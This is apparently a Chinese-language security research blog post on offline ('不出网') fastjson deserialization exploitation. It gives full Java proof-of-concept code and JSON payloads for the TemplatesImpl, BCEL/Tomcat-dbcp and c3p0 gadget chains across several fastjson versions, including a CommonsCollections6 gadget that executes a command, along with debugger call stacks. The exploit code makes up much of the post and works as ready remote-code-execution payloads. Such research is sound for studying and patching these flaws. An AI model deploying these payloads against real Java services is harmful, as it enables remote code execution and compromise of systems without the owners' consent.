fastjson反序列化 不出网利用

TemplatesImpl 链

影响范围

fastjson <= 1.2.24

缺点: 代码要开 Feature,因为CC3的后半段的字段都是public的,默认不支持,所以挺鸡肋的。

漏洞分析

漏洞本质:source 为 TemplatesImpl#getOutputProperties,通过 fastjson 触发;sink 就是正常的CC3后半段链子,实现动态类加载,并且可以把恶意类写入 _bytecodes,从而实现不出网利用。

构造Exp的代码如下:

title:"Poc.java"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package Poc.templatesImpl;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;

/**
* @program: Fastjson
* @description: poc for fastjson 1.2.24
* @author: Jasper_sec
* @date: 2025-04-01 03:46
**/
public class POC_1_2_24 {
public static void main(String[] args) throws Exception{
String codes = ClassFile2Base64("D:\\Security\\JavaSec\\EvilClass\\Calc.class");
String className = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String exp = String.format("{\"@type\":\"%s\",\"_bytecodes\": [\"%s\"],'_name':'jasper','_tfactory':{},'_outputProperties':{}}", className,codes);
JSON.parse(exp, Feature.SupportNonPublicField);
}
public static String ClassFile2Base64(String filePath){
byte[] buffer = null;
try {
FileInputStream fis = new FileInputStream(filePath);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int n;
while((n = fis.read(b))!=-1) {
bos.write(b,0,n);
}
fis.close();
bos.close();
buffer = bos.toByteArray();
}catch(Exception e) {
e.printStackTrace();
}
Base64.Encoder encoder = Base64.getEncoder();
String value = encoder.encodeToString(buffer);
return value;
}
}

函数调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
bytesValue:112, JSONScanner
deserialze:136, ObjectArrayCodec
parseArray:723, DefaultJSONParser
deserialze:177, ObjectArrayCodec
parseField:71, DefaultFieldDeserializer
parseField:773, JavaBeanDeserializer
deserialze:600, JavaBeanDeserializer
deserialze:188, JavaBeanDeserializer
deserialze:184, JavaBeanDeserializer
parseObject:368, DefaultJSONParser
parse:1327, DefaultJSONParser
parse:1293, DefaultJSONParser
parse:137, JSON
parse:193, JSON
main:13, Test1TemplatesImpl

BCEL 链

本质:实际就是 bcel 的 classloader 支持携带字节码进行类加载,所以用这个类可以不用访问外网实现类加载。

影响范围

  • fastjson <= 1.2.47 or fastjson <= 1.2.24
  • jdk < 8u251

漏洞所需依赖有下面两种,实际上只要有tomcat就可以了,因为tomcat自带tomcat-dbcp依赖:

tomcat 依赖,注意 payload 变化:<=tomcat7 source点是 org.apache.tomcat.dbcp.dbcp.BasicDataSource、>=tomcat8 source点 是 org.apache.tomcat.dbcp.dbcp2.BasicDataSource

1
2
3
4
5
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>dbcp</artifactId>
<version>6.0.53</version>
</dependency>

commons-dbcp 依赖

1
2
3
4
5
<dependency>
<groupId>commons-dbcp</groupId>
<artifactId>commons-dbcp</artifactId>
<version>1.4</version>
</dependency>

注意:poc 也分两种, fastjson 的不同版本,对应的 payload 构造和 source 点也不同

漏洞分析

bcel exp for fastjson <= 1.2.24

title:"poc.java"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
package Poc.bcel;

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Paths;

/**
* @program: Fastjson
* @description: bcel for fastjson <= 1.2.24
* @author: Jasper_sec
* @date: 2025-03-15 14:56
**/
public class POC_1_2_24 {
public static void main(String[] args) throws Exception{
// jdk < 8u251
String evilClass = "D:\\Security\\JavaSec\\EvilClass\\Evil.class";
String code = file2bcelcode(evilClass);
String payload =
"{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +/*此处Tomcat7 org.apache.tomcat.dbcp.dbcp.BasicDataSource、Tomcat8及以后 org.apache.tomcat.dbcp.dbcp2.BasicDataSource*/
" \"driverClassLoader\": {\"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"},\n" +
" \"driverClassName\": \"$$BCEL$$"+ code +"\"\n" +
"}\n";

JSON.parseObject(payload);
}
public static String file2bcelcode(String classFilePath) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath));
return Utility.encode(bytecode, true);
}
}

一个经典的 fastjson 调用 getter,source 点是 BasicDataSource#getConnection ,同时设置 ClassLoader为bcel,sink 点是 BasicDataSource#createConnectionFactory

bcel 可以不出网进行动态类加载的原因:在 com.sun.org.apache.bcel.internal.util.ClassLoader#loadClass 中,如果 class_name$$BCEL$$ 开头,则会读取 class_name 后面的字节码并调用 define_class 进行类的加载。

所以攻击者可以把字节码写进 payload 里,从而实现不出网的动态类加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
defineClass:642, ClassLoader (java.lang)
loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass:357, ClassLoader (java.lang)
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
createConnectionFactory:2156, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
createDataSource:2061, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
getConnection:1543, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
get:451, FieldInfo (com.alibaba.fastjson.util)
getPropertyValue:114, FieldSerializer (com.alibaba.fastjson.serializer)
getFieldValuesMap:439, JavaBeanSerializer (com.alibaba.fastjson.serializer)
toJSON:902, JSON (com.alibaba.fastjson)
toJSON:824, JSON (com.alibaba.fastjson)
parseObject:206, JSON (com.alibaba.fastjson)
main:27, POC_1_2_24 (Poc.bcel)

bcel exp for fastjson <= 1.2.47

title:"poc.java"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package Poc.bcel;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.sun.org.apache.bcel.internal.classfile.Utility;

import java.nio.file.Files;
import java.nio.file.Paths;

/**
* @program: Fastjson
* @description: bcel for fastjson <= 1.2.47
* @author: Jasper_sec
* @date: 2025-03-15 15:42
**/
public class POC_1_2_47 {
public static void main(String[] args) throws Exception{
// jdk < 8u251
String evilClass = "D:\\Security\\JavaSec\\EvilClass\\Evil.class";
String code = file2bcelcode(evilClass);
String payload = "{\n" +
" \"xx\":\n" +
" {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\"\n" +
" },\n" +
" \"x\" : {\n" +
" \"name\": {\n" +
" \"@type\" : \"java.lang.Class\",\n" +
" \"val\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" {\n" +
" \"@type\":\"com.alibaba.fastjson.JSONObject\",\n" +
" \"c\": {\n" +
" \"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\" : \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\":\"$$BCEL$$"+code+"\"\n" +
" }\n" +
" } : \"xxx\"\n" +
" }\n" +
"}";
JSONObject jsonObject = JSON.parseObject(payload);
// 这里必不可少,坑
jsonObject.toJSONString();
}
public static String file2bcelcode(String classFilePath) throws Exception {
byte[] bytecode = Files.readAllBytes(Paths.get(classFilePath));
return Utility.encode(bytecode, true);
}
}

这个版本踩坑,触发点不在 parseObject,而是得到反序列化后的对象, 再进行 jsonObject.toJSONString() 才会触发。

这个链子和上一个完全一样,不再赘述。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
defineClass:642, ClassLoader (java.lang)
loadClass:163, ClassLoader (com.sun.org.apache.bcel.internal.util)
loadClass:357, ClassLoader (java.lang)
forName0:-1, Class (java.lang)
forName:348, Class (java.lang)
createConnectionFactory:2156, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
createDataSource:2061, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
getConnection:1543, BasicDataSource (org.apache.tomcat.dbcp.dbcp2)
write:-1, ASMSerializer_1_BasicDataSource (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:281, JSONSerializer (com.alibaba.fastjson.serializer)
write:236, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:270, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:281, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:863, JSON (com.alibaba.fastjson)
main:46, POC_1_2_47 (Poc.bcel)

参考链接

c3p0二次反序列化链

影响范围

fastjson < 1.2.47 ,payload 分两个,简单的可在低版本使用,复杂的可在 fastjson <1.2.47 的条件下使用。

漏洞分析

漏洞本质:通过fastjson触发setter设置userOverridesAsString,source点是WrapperConnectionPoolDataSource的构造函数,其中会执行parseUserOverridesAsString(this.getUserOverridesAsString()),经过一系列调用会到达 sink 点,一个反序列化方法com.mchange.v2.ser.SerializableUtils#deserializeFromByteArray,他会对userOverridesAsString中的 bytecodes 做解码和反序列化。

所以我们的 payload 应该是一个 evil object 的序列化字符串,并对其进行相应的编码,在fastjson链子触发之后,会对这个evil serialize string 进行解码和反序列化,从而实现二次反序列化攻击,。下面的Poc使用的是 CC6的对象。

需要注意的是 WrapperConnectionPoolDataSource 本身并没有 userOverridesAsString 属性和其对应的 setter,但是它的父类 WrapperConnectionPoolDataSourceBase 有,所以链子才能够走通。

title:"POC_1_2_47.java"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/**
* @program: Fastjson
* @description: c3p0 chain for fastjson < 1.2.47
* @author: Jasper_sec
* @date: 2025-04-01 03:58
**/
public class POC_1_2_47 {
public static void main(String[] args) throws Exception {
String hex = toHexAscii(tobyteArray(exp()));
System.out.println(hex);

//Fastjson<1.2.47
// String payload = "{" +
// "\"1\":{" +
// "\"@type\":\"java.lang.Class\"," +
// "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
// "}," +
// "\"2\":{" +
// "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
// "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
// "}" +
// "}";
//低版本利用
String payload = "{" +
"\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
"\"userOverridesAsString\":\"HexAsciiSerializedMap:" + hex + ";\"," +
"}";
JSON.parse(payload);


}
// 构造 CC6 evil object
public static Map exp() throws Exception {

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("java.lang.Runtime")),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap1 = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap1, new ConstantTransformer(1));

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Atkx");
HashMap<Object, Object> hashMap2 = new HashMap<>();
hashMap2.put(tiedMapEntry, "bbb");
lazyMap.remove("Atkx");


Class clazz = LazyMap.class;
Field factoryField = clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

return hashMap2;
}

}

函数调用栈,这里只给触发二次反序列化的第一次,后面的CC6就不放了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
deserializeFromByteArray:143, SerializableUtils (com.mchange.v2.ser)
fromByteArray:123, SerializableUtils (com.mchange.v2.ser)
parseUserOverridesAsString:318, C3P0ImplUtils (com.mchange.v2.c3p0.impl)
vetoableChange:110, WrapperConnectionPoolDataSource$1 (com.mchange.v2.c3p0)
fireVetoableChange:375, VetoableChangeSupport (java.beans)
fireVetoableChange:271, VetoableChangeSupport (java.beans)
setUserOverridesAsString:387, WrapperConnectionPoolDataSourceBase (com.mchange.v2.c3p0.impl)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:188, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:46, POC_1_2_47 (Poc.c3p0)

参考链接

Commons-io 写⽂件/webshell TODO

以后再来